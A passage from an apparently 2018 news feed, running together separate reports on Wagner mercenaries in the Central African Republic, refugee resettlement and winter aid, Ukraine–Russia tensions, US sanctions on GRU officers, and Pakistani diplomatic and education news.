on private aircraft of E.Prigozhin. According to the materials available in the SBU, the mission of the M-Finance LLC security service in the CAR includes the instructor training of members of local paramilitary forces, as well as secret removal of precious stones (diamonds) from the territory of the Central African Republic to Russia, in the interests of enrichment of Russias top state and special services officials. The Security Service of Ukraine has identified 37 Russian citizens who are engaged by the leadership of Russian military intelligence on a rotational basis to the performance of service tasks in the CAR, as members of M-Finance LLC security service (the head of the Security Service is Russian Zakharov Valery Nikolaevich, DOB 12.01.1970, St. Petersburg, personal No. within Wagner structure - M-5658). Among those, SBU has already identified 10 mercs who were in the Central African Republic on the day the Russian journalists were killed. Most of these persons took part in terrorist activities in the East of Ukraine and in Syria, being awarded for the service with state decorations of the Russian Federation: SBU materials show that after the Russian special services got intel about the departure of Russian journalists to the Central African Republic, the head of the "M-Finance LLC security service Zakharov V.M. was given a categorical order to take exhaustive measures to prevent the leakage of information on the presence of Russian terrorists in this African country. All of the above shows that today's statement by Russian President Putin regarding the mercenaries of Wagner PMC in the Central African Republic and the circumstances of the murder of Russian journalists O.Jemal, K. Radchenko and O.Rastorguev is a deliberate lie. SBU materials can become the key for identification and detention of direct executors of this flagrant crime - not at some point in future, but really soon. SBU Head Vasyl Hrytsak stated: The covert operations of the Russian mercenaries of Wagner in the CAR should be the subject of an international investigation. The Russian government is in no way interested in establishing the truth, because the talk here is about the private army of Putin, whose hands are marred by thousands of civilian lives in Ukraine and Syria. We all must finally understand that silence of the global community is killing. SBU also presents a special media booklet on terrorist activity in Ukraine of a non-tenured unit of Russias General Staff of Armed Forces known as PMC Wagner. The booklet is published in Ukrainian and English and contains a QR code for direct access to the summary info collected by SBU and Ukrainian volunteers on the staffing and crimes of Russian mercenaries, including the intercepted conversations of Wagner PMC top command with supervisors from among the generals of the General Staff of Russian Armed Forces. The Security Service of Ukraine reports that in the coming days it will hold a special briefing of the SBU's Counter-Intelligence Department on the detention of 3 covert combat groups of Russian military intelligence in eastern Ukraine. | By Joel Kabot Professor Robert K. Ernst, PhD, of the University of Maryland School of Dentistry (UMSOD) has been awarded a five-year, $6.4 million contract from the National Institutes of Healths National Institute of Allergy and Infectious Diseases (NIAID) to develop and test new adjuvants for use in future vaccines. An adjuvant is added to a vaccine to, as NIAID notes, "enhance its ability to induce protection against infection." As program director, Ernst who also is vice chair of the schools Department of Microbial Pathogenesis, will lead a team of UMSOD researchers who will collaborate with Russ Middaugh, PhD, of the University of Kansas School of Pharmacy and the Macromolecule and Vaccine Stabilization Center, both in Lawrence, Kan.; Wendy Picking, PhD, of the University of Kansas School of Pharmacy; and two industry consultants with extensive backgrounds in adjuvant development. Robert K. Ernst, PhD, professor at the University of Maryland School of Dentistry, from right, in his lab with postdoctoral fellow Erin Harberts, PhD, and graduate student Courtney Chandler. Using bacterial enzymatic combinatorial chemistry (BECC), Ernsts UMSOD team has produced a number of potential adjuvants that will be evaluated with protein antigens from Y. pestis, the causative agent of the plague, and Shigella, which causes shigellosis. The new adjuvants will be evaluated for both antigen- and dose-sparing capabilities, which could result in decreased cost and improved compliance. "This will represent a significant advance in vaccine development," Ernst says. "High-efficacy adjuvants, when formulated in component vaccines, can be used to combat the global health burden of a wide range of human pathogens. "For novel vaccines to be developed," he continues, "it is critical that high-quality antigenic targets are identified and used in combination with current or novel adjuvants to increase their immunogenic capacities, such as decreasing the amount of antigen or number of doses required to elicit a strong long-term protective immune response." UMSOD Dean Mark A. Reynolds, DDS '86, PhD, MA, says: "By producing a new generation of adjuvants that enhance the ability of vaccines to induce protective immunity, the research that Dr. Ernst and his collaborators are pursuing has the potential to help millions. Improving the effectiveness of vaccines will impact preventable diseases worldwide." At the University of Maryland, Baltimore in 2017, Ernst was named Founders Week Researcher of the Year. Refugees from Syria and South Sudan arrive in Lisbon, Portugal, after a flight from Egypt. UNHCR/Jose Antonio de Oliveira Ventura GENEVA / LISBON, 19 December 2018 UNHCR, the UN Refugee Agency, welcomed the arrival this week in Lisbon of six refugee families originally from Syria and South Sudan. The 33 people, who landed in the Portuguese capital on Monday and today, are the first of 1,010 refugees whom Portugal pledged to admit from Turkey and Egypt by October 2019 in the framework of the current EU resettlement programme. It will be the most ambitious resettlement programme carried out in Portugal to date and demonstrates the countrys strong commitment to refugee protection. Under previous programmes, some 30-45 individuals were resettled each year, increasing to approximately 180 over a two-year period between 2016 and 2017. In addition, Portugal accepted some 1,500 asylum-seekers from Italy and Greece between 2015 and 2017 under an EU relocation programme. These refugees have found a durable solution to their plight and will now be able to rebuild their lives, said UNHCRs Director of the Bureau for Europe, Pascale Moreau. Municipal authorities and NGOs throughout Portugal will support the refugees, who will be offered initial support with housing and basic needs while they learn the Portuguese language and pursue employment. The refugees will have access to healthcare and education, as well as professional and vocational training. UNHCR thanks the government of Portugal for making resettlement an effective, durable solution for these families whose lives have been convulsed by violence and persecution, as well as all the NGOs and municipal authorities involved in welcoming them and providing them with the care they need. Todays arrivals are a concrete gesture of solidarity by Portugal in providing refugee resettlement places that are so badly needed, added Moreau. In 2017, for every 21 refugees in need of resettlement globally, only one departed to a resettlement state. Expanded resettlement and complementary safe and legal pathways are among the ways communities around the world can help share responsibility for refugees at a time of record forced displacement an idea central to the Global Compact on Refugees, validated this week at the General Assembly. UNHCR implements resettlement programmes in more than 65 countries of asylum worldwide and estimates that 1.4 million refugees will need resettlement in 2019 globally, a 17% increase from 2018. For more information on this topic, please contact: As the fierce summer heat of Jordans northern desert gives way to cold winter nights, 44-year-old Hilal steels himself in preparation for his fifth winter in exile since escaping Syrias long-running conflict. With rain and freezing temperatures taking hold, keeping his family warm and dry presents added challenges and expenses. Hilal consoles himself with the thought that nothing could be worse than the two winters they spent displaced inside Syria during the war, after fleeing their home in Homs. Winter here is tough, cold and costly, he said. But the winter in Jordan is better than the winters in Syria during the war. We used to collect wood from the ground to burn in a metal bucket for heating. Their current home is a single-storey concrete structure set in a dusty patch of wasteland on the outskirts of Mafraq, a city in the north of Jordan with the countrys highest concentration of Syrian refugees. "Winter here is tough, cold and costly." There are no doors in any of the bare concrete rooms, while unglazed windows and holes in the flat roof let in rain and icy draughts. Hilal puts plastic sheets and blankets over the windows and doorframes to try to keep out the elements, but the family has only a single gas heater for warmth, and even that they must ration. When it gets cold in winter, I turn the heater on for an hour until I feel the room is warm, then I turn it off again for an hour to save some gas, because if not we will consume too much, he explained. Hilal and his wife Nouhad bundle their children into extra clothes and blankets to get them through the long winter nights. Like the vast majority of the 670,000 registered Syrian refugees in Jordan, Hilals family live below the poverty line and rely on international assistance to survive. The 155 Jordanian dinars (US$218) in cash assistance they receive each month from UNHCR, the UN Refugee Agency, barely covers their rent and bills, with nothing left to meet the extra costs of winter. Nouhad indicates areas where rain leaks into their home through the flat roof above. During winter they rely on cash assistance from UNHCR to buy blankets and gas for heating to keep them warm. UNHCR/Mohammad Hawari As a result, they are among more than 328,000 Syrian refugees living in towns and cities across Jordan that UNHCR intends to help this year with a one-off winter cash payment of between 200 and 340 dinars (US$282480). Assistance will also be provided to 32,000 refugees from Iraq and other nationalities. The money can be used to buy gas for heating, blankets, and winter shoes and clothes. Across the region as a whole, UNHCR aims to provide life-saving winter assistance to 3.5 million vulnerable Syrian and Iraqi refugees and internally displaced people. Of the total US$180 million requested for this years regional winter response, US$148 million has so far been received from donors including large donations from the United States and Germany. However, UNHCR is urgently seeking to fill the US$32 million gap to ensure that millions of displaced Syrians, Iraqis and others get the support they desperately need. Hilal, 44, inspects the windows in his family's run-down apartment, which he struggles to insulate against the wind and rain during winter. UNHCR/Mohammad Hawari In Jordan, as well as winter cash payments to more than 79,000 families, UNHCR is also investing in repairs to shelters and drainage in Zaatari, the countrys largest refugee camp, a few kilometres outside Mafraq. Hilal said the extra help at wintertime is essential for his familys wellbeing, particularly his 11-year-old daughter. Winter assistance is very helpful for my daughter Milyar. It helps us to provide blankets and clothes for school to keep her warm because she suffers from asthma, and the winter weather is hard for her, he said. Unable to work or even move around the house freely due to injuries he sustained in Syria during their displacement, Hilal puts what energy he has into caring for his family and ensuring his six children receive an education. "My wife and I can bear this situation, but why should my kids have to suffer?" The problem is not this house, or even the winter. The problem is that our nation [Syria] is lost, said Hilal, whose large frame appears weighed down by the strain of their circumstances. My wife and I can bear this situation, but why should my kids have to suffer? he asked. They didnt do anything to deserve this. They deserve a better future. Additional reporting by Mohammad Hawari The purpose of this decision is to support judicial cooperation between Switzerland and Ukraine. Switzerland has extended the preventive freeze on the assets of ousted Ukrainian President Viktor Yanukovych and his allies for another year. Read alsoUkrainian court unfreezes dozens of accounts of Yanukovych allies' firms media "On December 19, the Federal Council decided to extend for one year the preventive freeze on the assets of ousted [Ukrainian] President Viktor Yanukovych and his entourage," the Swiss Embassy in Ukraine wrote on Twitter on December 20, 2018. "The purpose of this decision is to support the judicial cooperation between Switzerland and Ukraine," reads the tweet. As UNIAN reported earlier, Switzerland froze Yanukovych's assets worth CHF 70 million (over US$69 million) in 2014. Pieko has been head of the Embassy of the Republic of Poland in Kyiv since 2016. Poland's President Andrzej Duda has dismissed Polish Ambassador to Ukraine Jan Pieko as of January 31, 2019. The president's decision dated December 4, 2018, was also signed by Polish Prime Minister Mateusz Morawiecki, Radio Poland's Ukrainian Service reported with reference to Monitor Polski, a publication of the Prime Minister of the Republic of Poland. Read alsoPolish envoy says in Kyiv, Warsaw interests not to allow implementation of Nord Stream 2 Pieko has been head of the Embassy of the Republic of Poland in Kyiv since 2016. According to Special Envoy of the President of Poland, Secretary of State at the President's Chancellery Krzysztof Szczerski, the dismissal of the ambassador, which took place based on the motion submitted by Polish Foreign Minister Jacek Czaputowicz, "has nothing to do with the assessment of Polish-Ukrainian relations." "The rank of the Polish representation in Kyiv is planned to be increased. I hope the Ukrainian side will quickly accept a successor, and then this change will be smooth," he said. Prior to the appointment as ambassador, Pieko was a journalist and an expert associated with organizations that deal, in particular, with Polish-Ukrainian cooperation: he was director of the East-West Bridges in Krasiczyn and director of PAUCI Foundation for Polish-Ukrainian Cooperation. In the past, Pieko was also editor of the Forum e-magazine on the dialogue of cultures, and in 2011-2013, he was a member of the Steering Committee of the Eastern Partnership Civil Society Forum at the European Commission. Russia's rhetoric is the rhetoric of war, Herbst said. Former U.S. Ambassador to Ukraine, Eurasia Center Director at Atlantic Council John E. Herbst says Moscow has been waging the Cold War against the West for over a decade. "If you read Russian newspapers and magazines, watch Russian TV programs, you know that the Kremlin has been waging the Cold War against the West, against the United States for 12-14 years. Their rhetoric is the rhetoric of war. They describe the West, especially America, in black colors," he said in an interview to the Novoe Vremya weekly, answering a question about the situation with the Intermediate-Range Nuclear Forces Treaty (INF Treaty), as well as the possibility of a new Cold War. Read alsoPutin mulls Russia retaliation if U.S. quits INF Treaty media "And when we begin to soberly but pointedly speak about their policy [Russia], they shout that we are starting a cold war. But in fact, they started it long ago. And they have been violating the INF Treaty for several years. And when we say: 'As a result of your violation, we do not have to comply with this treaty,' they say: 'Well, you are violating the treaty!' Typical Kremlin tactics," the diplomat said. UNIAN memo. The Intermediate-Range Nuclear Forces Treaty (INF Treaty, formally Treaty Between the United States of America and the Union of Soviet Socialist Republics on the Elimination of Their Intermediate-Range and Shorter-Range Missiles) is a 1987 arms control agreement between the United States and the Soviet Union (and later its successor state the Russian Federation). Signed in Washington, D.C. by President Ronald Reagan and General Secretary Mikhail Gorbachev on December 8, 1987, the treaty was ratified by the United States Senate on May 27, 1988 and came into force on June 1, 1988. The INF Treaty eliminated all nuclear and conventional missiles, as well as their launchers, with ranges of 500-1,000 kilometers (310-620 mi) (short-range) and 1,000-5,500 km (620-3,420 mi) (intermediate-range). The treaty did not cover sea-launched missiles. By May 1991, some 2,692 missiles had been disposed, followed by 10 years of on-site verification inspections. U.S. President Donald Trump said on October 20, 2018, he would pull out of a Cold-War-era treaty with Russia that limited the number of missiles in each country. Trump said Moscow had violated the Intermediate-Range Nuclear Forces Treaty and he would halt the agreement. However, Putin refused to answer a question from the Russian media about the exchange of Russian citizens convicted in Ukraine. Russian President Vladimir Putin has said the swap of the 24 Ukrainian sailors captured by the Russian Federation near the Kerch Strait on November 25 may be discussed after the completion of their criminal case. Read alsoLawyers of Ukrainian captive sailors hope trial not to take place "The swap... we have addressed and are addressing this issue all the time. Mr. Medvedchuk on Poroshenko's instructions has constantly raised this issue and has recently visited [Moscow]. The issue of the release of the Ukrainian troops detained in the Kerch Strait, more precisely in the Black Sea... But I have already said these issues can be resolved after the completion of the criminal case," Putin said at an annual press conference, answering a question from an UNIAN correspondent in Russia about the conditions of the swap. However, Putin refused to answer a question from the Russian media about the exchange of Russian citizens convicted in Ukraine. According to the Varlamov.news portal, Putin admitted that the Ukrainians detained in the Kerch Strait area could be swapped, but only after Russia completes the investigation and trial is over. After that, UNIAN correspondent Roman Tsymbaliuk asked Putin whether it seemed to him that he was interfering in the electoral process in Ukraine as it was the case in the United States. Yet, the public in the conference hall started laughing. As UNIAN reported earlier, on November 25, Russia blocked the passage to the Kerch Strait for the Ukrainian tugboat "Yany Kapu" and two armored naval boats "Berdyansk" and "Nikopol," which were on a scheduled re-deployment from the Black Sea port of Odesa to the Azov Sea port of Mariupol. The Ukraine Navy Command noted that the Russian side had been informed of the plans to re-deploy the vessels in advance in accordance with international standards to ensure the safety of navigation. The Russian coast guard ship "Don" rammed the Ukrainian tugboat, damaging the Ukrainian vessel. As the Ukrainian boats were heading back in the Odesa direction after being rejected passage via the Kerch Strait, Russian coast guards opened aimed fire on them. All 24 crew members on board were captured and later remanded in custody for two months, being charged with "illegal border crossing" (the sailors are facing up to six years in prison). Three crewmen were wounded in the attack. Russian-controlled "courts" in occupied Crimea ruled that all 24 detainees should be remanded in custody, after which they were transferred to the Moscow-based Lefortovo and Matrosskaya Tishina detention centers. The legislation introduces only one restriction: the church "subordinated to the aggressor state has no right to be represented in military units on the front line." The Verkhovna Rada, Ukraine's parliament, has passed a bill to rename the Ukrainian Orthodox Church of the Moscow Patriarchate (UOC-MP). The decision to amend the Law of Ukraine "On Freedom of Conscience and Religious Organizations" regarding the name of religious organizations/associations that are incorporated in/are part of in a religious organization/association whose head office/administration is located outside Ukraine, in a state that is recognized by law as carrying out military aggression against Ukraine and/or temporarily occupying part of the territory of Ukraine (No. 5309) was backed by 240 MPs out of 289 registered in the session hall, according to an UNIAN correspondent. Read alsoMetropolitan Epifaniy explains status of Moscow Patriarchate's Onufriy after unification council Ukrainian MP from the Bloc of Petro Poroshenko faction Oleksandr Bryhynets said if "the state is recognized as the aggressor state, the church whose administration is based in the aggressor state must have in its title the full name of the church to which it is subordinate." "In this case, it's about the fact that if there is any church that is in unity or subordinate to the Russian church, it should not be called 'Ukrainian,' but 'Russian,'" he said. The lawmaker explained the relevant unity would be determined in two parallel ways through the statutory documents of the church registered in Ukraine or through the documents of the church, which is located in Russia. "If such unity is indicated in one of these churches, this law will be applied. The church is invited to rename itself and give its name. What are the options? The church may choose any option for itself. For example, the Russian Orthodox Church in Ukraine, the Russian Orthodox Church in Kharkiv, the Russian Orthodox Church in Kyiv. It is their right, they can choose during registration," Bryhynets said. According to him, this bill imposes only one restriction, namely the church "subordinated to the aggressor state has no right to be represented in military units on the front line." The legislation becomes effective since the date of its publication. Police will patrol areas around temples, churches and places where religious events take place. Deputy Head of the National Police of Ukraine Oleksandr Fatsevych has said the police on December 19 began preparations for enhanced security to maintain public order during the New Year and Christmas holidays, in particular security measures near churches will be stepped up. Read alsoTwo armed men detained in Kyiv downtown amid unification council (Photo) "The holidays are under way, therefore the police must focus particularly on the venues where citizens celebrate and spend their time. Our main task is to maintain public order," he said, Radio Liberty's Ukrainian service reported. Police will patrol areas around temples, churches and places where religious events take place, he said. As UNIAN reported earlier, the unification council of representatives of Ukrainian Orthodox churches on December 15 elected Epifaniy (Serhiy Dumenko) head of the united local Orthodox Church of Ukraine. It will be Epifaniy who will on January 6, 2019, receive from Ecumenical Patriarch Bartholomew I in Constantinople (Istanbul) a tomos (a decree), granting autocephaly (independence) to the newly created church. The raid was carried out by Ukraine's counterintelligence forces. Ukraine's SBU Security Service has reported on the arrest of three sabotage groups deployed by Russia's military intelligence in eastern Ukraine. The SBU press service says the agency will provide details of the operation at a special briefing to be scheduled for the coming days. It is noted that the raid was carried out by Ukraine's counterintelligence forces. As reported earlier, the Ministry of Information Policy of Ukraine warned of Russia and its proxies in Donbas spreading disinformation claiming the Armed Forces of Ukraine were allegedly preparing for an offensive in the Mariupol area, as well as carrying out some manipulations with chemicals. U.S. Special Representative for Ukraine negotiations Kurt Volker said such claims were aimed at deflecting attention from Russia's own actions. "These assertions may be ways of creating some cover for possible Russian attacks, which I hope don't occur, but I have to say it's possible," said Volker. "We have defeated ISIS in Syria," Trump says in a tweet. Donald Trump declared victory over Islamic State and ordered a withdrawal of U.S. forces from Syria in a sharp reversal of American policy that appeared to take the Pentagon by surprise. We have defeated ISIS in Syria, my only reason for being there during the Trump Presidency, Trump said Wednesday morning on Twitter, according to Bloomberg. The U.S. military is working to quickly carry out Trumps order, according to one official with knowledge of the plan. But it wasnt clear how soon the approximately 2,000 troops would be coming home and what the presidents decision would mean for vulnerable Kurdish allies that they have supported. In a White House statement later in the morning, spokeswoman Sarah Huckabee Sanders said America has started returning United States troops home as we transition to the next phase of this campaign, although she didnt comment on the pace of that withdrawal. The United States and our allies stand ready to re-engage at all levels to defend American interests whenever necessary, she added. Read alsoUkraine warns of another disinformation campaign by Russia A precipitous withdrawal could leave Americas Kurdish allies at the mercy of Turkish troops who have long wanted to pursue forces they view as terrorists. A U.S. departure also would leave Russia and Iran, allies of President Bashar al-Assad, unchecked as prime influences in Syria. As recently as last week, administration officials disputed the idea that Islamic State is defeated and suggested U.S. involvement would continue. But Trump has long pressed the military to withdraw from Syria, saying in April that he would make a decision very quickly. I want to get out, I want to bring the troops back home, I want to start rebuilding our nation, Trump said at a news conference at the time. He added that our primary mission of fighting the Islamic State terrorist group is almost completed. One of the presidents close allies in Congress, who has at times criticized his foreign policy, sharply attacked the withdrawal decision. Pulling out U.S. forces now would be a huge Obama-like mistake, Republican Senator Lindsey Graham said on Twitter. One person charged with spying for Russia is currently on trial, while investigations against six other suspected Russian spies are underway. Several Lithuanians have been arrested and charged with spying for Russia, the Baltic state's chief prosecutor said, drawing an angry reaction from Moscow. One of the suspects is Algirdas Paleckis, a politician who is known for pro-Russian views and has questioned Lithuania's membership of NATO and the European Union, Prosecutor-General Evaldas Pasilis said on December 19, according to RFE/RL. Pasilis did not specify how many people were arrested. Read alsoLithuania mulling over sanctions against Russia for aggression in Black Sea Russian Foreign Ministry spokeswoman Maria Zakharova called the arrests "another Russophobic move" and a "reversal of democratic rights and freedoms" in Lithuania. She did not explain the grounds for those statements. Since 2014, when Russia increased concerns among neighbors about its intentions by seizing Crimea and backing separatists in a war in eastern Ukraine, Lithuanian courts have convicted five people of spying for Russia or Belarus. One person charged with spying for Russia is currently on trial, while investigations against six other suspected Russian spies are underway. In July 2017, a court in Vilnius sentenced a Russian security official, Nikolai Filipchenko, to 10 years in prison after finding him guilty of attempting to recruit local officials to bug the home of the country's president. Most of those named had been previously listed in other U.S. blacklists or U.S. criminal indictments. REUTERS The United States has imposed new sanctions on more than a dozen current and former Russian military intelligence agents, including two tied to the poisoning of a former Russian spy in England earlier this year and one linked to Kremlin-connected oligarch Oleg Deripaska. The Treasury Department identified 15 members of Russia's military intelligence agency, known as the GRU, and said they were targeted "in response to Russia's continued disregard for international norms," according to the statement, RFE/RL reports. Most of those named had been previously listed in other U.S. blacklists or U.S. criminal indictments. Read alsoVolker: Idea of extra Russia sanctions gaining traction "The United States will continue to work with international allies and partners to take collective action to deter and defend against sustained malign activity by Russia, its proxies, and intelligence agencies," Treasury Secretary Steven Mnuchin said. Four were indicted in October for past attempts to hack the computers of the Organization for the Prohibition of Chemical Weapons, in The Hague, and the World Anti-Doping Agency, in Canada. The chemical weapons agency had been involved in the investigation into the Skripal poisoning, while the doping agency assisted investigators looking at Russias state-sponsored athlete doping program during the 2014 Sochi Winter Olympics. Another seven had been indicted by U.S. Special Counsel Robert Mueller in July on charges related to reported interference in the 2016 U.S. presidential election. Two were identified as Aleksandr Mishkin (Petrov) and Anatoliy Chepiga (Ruslan Boshirov), whom British authorities have blamed for the March poisoning of Sergei Skripal and his daughter, Yulia, in the English town of Salisbury. Two other British citizens were exposed to the nerve agent in June, apparently by accident; one of them, Dawn Sturgess, died. London was joined by Washington and other European allies in expelling dozens of Russian diplomats in the wake of the incident. Moscow has denied any involvement. The U.S. measures also targeted an ex-military intelligence officer named Victor Boyarkin, who it said reported directly to Deripaska and allegedly worked with Deripaska to fund a Montenegrin political party ahead of the 2016 elections there. The political party was not named, and the Treasury statement gave no further details. Montenegrin officials have accused Russia of trying to interfere in the campaign leading up to the October 2016 parliamentary elections, a vote that occurred as the countrys leadership was negotiating to join NATO. Read alsoSecond GRU officer indicted in Montenegro coup unmasked - Bellingcat Prosecutors later said Russia was behind an attempted coup that aimed to occupy parliament, assassinate then-Prime Minister Milo Djukanovic, and install a pro-Russian leadership to halt Montenegro's bid to become a NATO member. Moscow rejects the accusations. The December 19 Treasury move also added sanctions against several companies, and one individual, that have been linked to interference in the 2016 U.S. presidential election, including something called Project Lakhta, which U.S. authorities say was used to oversee the interference campaign. The Treasury also said on December 19 that it would lift sanctions on three companies tied to Deripaska, including the giant metals producer Rusal, and its parent company, EN+, after Deripaska cut his stakes in them. In fact, the OC-135 flew a comfortable flightpath deep inside Ukraine. The U.S. Air Force's "extraordinary" surveillance flight over Ukraine in early December 2018 flew nowhere near Russian forces, one expert concluded. On December 6, 2018, the Air Force deployed one of its OC-135 observation planes to Ukraine at Kyiv's request. American, Canadian, German, French, Romanian and British observers were aboard the four-engine plane, the U.S. State Department stated, The National Interest wrote. The flight came two weeks after Russian security forces illegally seized three Ukrainian navy boats attempting to pass through the narrow, Russian-controlled strait connecting the Black Sea and the smaller Sea of Azov. "The timing of this flight is intended to reaffirm U.S. commitment to Ukraine and other partner nations," the Pentagon stated. In fact, the OC-135 flew a comfortable flightpath deep inside Ukraine, according to Steffan Watkins, an independent security expert and imagery analyst. "They didn't fly over any contested areas," Watkins told The National Interest. Watkins used commercial flight-tracking software to monitor the OC-135, which broadcasts its position using a radio transponder. Read alsoUkSATSE receives EASA certificate as national provider of air navigation services Russia backs separatist forces fighting Ukrainian troops in Ukraine's eastern Donbas region. But the OC-135 didn't fly over Donbas. Instead, it "made a teardrop shape from Kyiv headed southish, staying around 20 kilometers from the border of Crimea," Watkins said. The short-notice December 2018 flight qualified as an "extraordinary" mission under the terms of the 1992 Open Skies treaty, which allows the 34 signatory states including Russia, the United States and most European states to fly unarmed camera- and radar-equipped planes along pre-negotiated routes over each other's territory, all for the purposes of monitoring military activities and verifying compliance with other treaties. The treaty limits signatory states to using commercially-available sensors on treaty flights. As a result the cameras aboard the OC-135 can photograph targets only a few miles away. At a distance of 20 kilometers, or 12 miles, from Crimea, the OC-135 flying over Ukraine on December 6, 2018 probably couldn't see Russian forces on the peninsula. By contrast, when the U.S. Air Force deployed an OC-135 to Ukraine in the aftermath of Russia's February 2014 invasion of Crimea, the observation plane completed flights along both sides of the Russia-Ukraine border in close proximity to Russian troops. "In 2014, they flew over actual positions with actual boots on the ground you know, actually doing something," Watkins commented. "This year it was just a little spin around on the plane." "Maybe the toilet backed up," Watkins quipped, referring to the poor material condition of the two 1961-vintage OC-135s. A small group of U.S. lawmakers has tried for years to deprive the Air Force of funding for the Open Skies planes, part of a broader conservative campaign targeting America's international agreements. Republicans in the House of Representatives, led by Rep. Mac Thornberry of Texas, tried to block the Air Force's $400-million request for OC-135 upgrades as part of the flying branch's 2018 budget. The U.S. Senate ultimately restored the funding. Read alsoUkraine police to receive Airbus H145 helicopters with modern avionics Minister Both OC-135s serial number 61-2670 and sister plane 61-2672 are unreliable, George Sarris, a former contract mechanic on the type, revealed to The National Interest, citing Air Force records for the period August 2015 to July 2016. In that timeframe, OC-135 61-2670 flew 35 times and broke 16 times, a failure rate of 45.7 percent. OC-135 61-2672 flew 97 sorties and broke 20 times, a 20.6-percent failure rate. Despite its poor condition, the OC-135 managed to complete its December 2018 mission over Ukraine. The U.S. State Department pointed to the flight as an expression of American resolve. "We stand with Ukraine against Russian provocative and threatening activity in the Sea of Azov," the State Department stated. But the Trump administration wants to appear like it's standing up to Russia without actually standing up to Russia, Watkins explained. "I speculate it was a training flight that was lipstick-on-a-pig'd up to tell the public they were 'sending a message.'" As a demonstration of resolve, the flight over Ukraine was a weak one, Watkins said. "I have no reason to believe there was any display of anything coming from that flight." (@ChaudhryMAli88) The High Commissioner of Mauritius to Pakistan,Mr. Rashidally Soobadar on Thursday said that both the countries should enter into a Free Trade Agreement to further bolstered the bilateral relations for the mutual benefits ISLAMABAD, (UrduPoint / Pakistan Point News - 20th Dec, 2018 ) :The High Commissioner of Mauritius to Pakistan,Mr. Rashidally Soobadar on Thursday said that both the countries should enter into a Free Trade Agreement to further bolstered the bilateral relations for the mutual benefits. He expressed these views while addressing a lecture on 'Trade and Tourism between Mauritius and Pakistan' organized by the Preston University in collaboration with Society of Global Civilizations (SGC). The event was attended by the guests of SGC and senior faculty, management and students of Preston University while High Commissioner of the Democratic Socialist Republic of Sri Lanka to Pakistan Mr Nordeen Mohammed Shaheid was also present on the occasion. In his talk on 'Trade and Tourism between Mauritius and Pakistan',High Commissioner Mr. Rashidally Soobadar highlighting the current status of trade between Mauritius and Pakistan said that the current volume of trade between the two countries did not match their true potential. He emphasized that there is a need for increasing economic and trade relations to further promote bilateral cooperation between the two brotherly countries. Briefly unfolding the history of Mauritius, Mr. Rashidally Soobadar said the country is an island state that has 1.2 million population. He noted that since independence in 1968, the country has grown gradually as seen from its GDP that has grown from $200 to over $11,000. The country aspires to achieve the GDP of $20,000/ by 2030. He also highlighted a number of socio-cultural and historical aspects of Mauritius that proudly boasts of 100 percent literacy rate and offers free education till college level. He said Mauritius is a multicultural and multi-ethnic society where people believe in peaceful cohabitation. To support this fact, he said, that the biggest mosque in Mauritius is situated in the Chinese neighborhood. In the context of tourism, he informed that the country has a booming tourism industry. Last year alone, 1.5 Million tourists visited Mauritius. He said that there was tremendous potential for promotion of tourism between Mauritius and Pakistan. He said this vital area could be exploited to its true potential for the mutual economic benefit of the two countries. Mr. Soobadar further said that it would be a pleasure for theMauritian Government to help Pakistan in boosting its tourism industry. Highlighting the country's focus for development, the High Commissioner mentioned Information Technology, FinTech Blockchain, and Artificial Intelligence. He disclosed that the Mauritian Government is at present focused on Blue Economy and has established exclusive Economic Zones to facilitate foreign investors. Earlier, in his welcome address Chancellor Preston University Dr. Abdul Basit and Patron Society of Global Civilizations expressed his sincere gratitude to Mauritius High Commissioner Mr. Rashidally Soobadar for deliberating on a vital subject such as 'Trade and Tourism between Mauritius and Pakistan'. Briefly talking about the Society of Global Civilizations (SGS), Dr. Basit said SGC was created in2016with the expressed intent of studying and understanding the culture and civilizations of the global societies to promote peace, mutual understanding and respect in today's turmoil-ridden world. He said SGC, since its creation, has been organizing seminars, workshops and study tours of different countries to attain this vital objective. Later, as a token of gratitude, a shield of the university was presented to the guest speaker Mr. Rashidally Soobadar by DR. Abdul Basit. Federal Minister for Education and Professional Training, Shafqat Mahmood Wednesday said strong interventions are needed for utilising information technology (IT) to revitalize and reform education sector and our capacity building as a nation. ISLAMABAD, (UrduPoint / Pakistan Point News - 19th Dec, 2018 ) :Federal Minister for Education and Professional Training, Shafqat Mahmood Wednesday said strong interventions are needed for utilising information technology (IT) to revitalize and reform education sector and our capacity building as a nation. He was addressing the closing ceremony of 16th international conference on 'Frontiers of Information Technology' (FIT-2018) arranged by COMSATS University Islamabad (CUI) at COMSTECH Secretariat. The federal minister said the country has a serious issue of growing population and huge bulk of youth but with the help of IT, this huge bulk of youth will actually become an asset for the country. He said IT is the area and field where possibility of change and innovation are there and of course international revolution is also the result of usage of this technology. Shafqat Mahmood said, "I have no doubt in my mind that as we move forward in this particular area, we have the potential to bring billions of Dollars to the country. Our software products now at this stage are more reflective of the potential and talent we have." He stressed the need to put more and more efforts to enhance capabilities of our youth , enabling them to excel in the field of IT. Shafqat Mahmood appreciated the efforts of CUI for arranging this important conference and giving platform to the researchers at national and international level to share their innovations and learn from each others experiences. He assured his ministry is taking strong measures to bring innovation in the education sector through utilising IT. CUI Rector Prof Dr Raheel Qamar, in his closing remarks, thanked the researchers from all over the world who shared their research with participants. He also acknowledged the organizers for successfully hosting the international event. Cash prizes were awarded to undergraduate students in the category of computer science and electrical engineering for the best projects. In computer science COMSATS University Islamabad, Wah Campus secured first and Islamabad Campus secured second position respectively, while KICSIT secured third position. In electrical engineering category, COMSATS University Islamabad, Wah Campus secured first and second position while COMSATS University Islamabad Campus secured third position. During the three-day conference, international speakers from Canada, France, Germany, Macao, Norway, Portugal, South Korea, Spain, UAE, UK and USA participated in the FIT-2018 and shared their views on the theme of this year's conference which is "Innovation-The Way Forward". Different scholars highlighted the importance of innovation, with the help of technology and skills and presented novel solutions to IT specialists to learn and fly in present era. A series of talks were organized as part of technical sessions and world renowned scholars and researchers participated in these talks. PhD symposia held during the conference provided a forum to the PhD students to present their ongoing research; these symposia were conducted by elite academicians from the arena of Information Technology. Tutorial sessions were also a part of FIT-2018 in which various topics of interest for IT community are being organized and delivered. The "Best IT Innovation Award" with prize money for commercialization was also awarded to the best innovative idea. The panel discussion on "Innovation-The Way Forward" held on concluding day focused on the scope of innovations in universities. A focus group discussion on converting a dream into reality raising Pakistan's IT exports to $10 billion per year was also held during the conference. This discussion was led by Pakistan's most intellectual brains in various fields including IT, Mathematics, Engineering, Physics, Chemistry and Biology. The conference was inaugurated by Federal Minister, Ministry of Finance, Revenue and Economic Affairs, Asad Umar on Monday who highlighted the importance of Information Technology in economic development of Pakistan. Abu Dhabi Fund for Development (ADFD), the leading national entity for development aid, today 